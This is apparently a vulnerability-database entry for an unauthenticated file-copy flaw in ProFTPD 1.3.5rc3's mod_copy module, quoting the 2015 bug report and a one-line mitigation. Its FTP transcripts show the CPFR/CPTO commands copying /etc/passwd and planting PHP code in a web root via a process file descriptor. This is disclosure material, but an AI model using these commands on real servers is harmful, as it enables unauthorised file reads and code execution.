Unauthenticated mod_copy SITE CPFR/SITE CPTO Commands Vulnerability

vendor:

ProFTPD

by:

TJ Saunders

7.5

CVSS

HIGH

Unauthenticated mod_copy SITE CPFR/SITE CPTO Commands

264

CWE

Product Name: ProFTPD

Affected Version From: 1.3.5rc3

Affected Version To: 1.3.5rc3

Patch Exists: YES

Related CWE: N/A

CPE: a:proftpd:proftpd:1.3.5rc3

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2015

Unauthenticated mod_copy SITE CPFR/SITE CPTO Commands Vulnerability

Vadim Melihow reported a critical issue with proftpd installations that use the mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands to be used by unauthenticated clients. He provides another, scarier example, where a malicious user can copy a file from the server to a php script, which can be run by the php interpreter.

Mitigation:

Disable mod_copy module or restrict access to authenticated users.

Source

Exploit-DB raw data:

Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:

---------------------------------
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
-----------------------------------------

He provides another, scarier example:

------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php

test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------

test.php contains contain correct php script "<?php phpinfo(); ?>" which
can be run by the php interpreter

Source: http://bugs.proftpd.org/show_bug.cgi?id=4169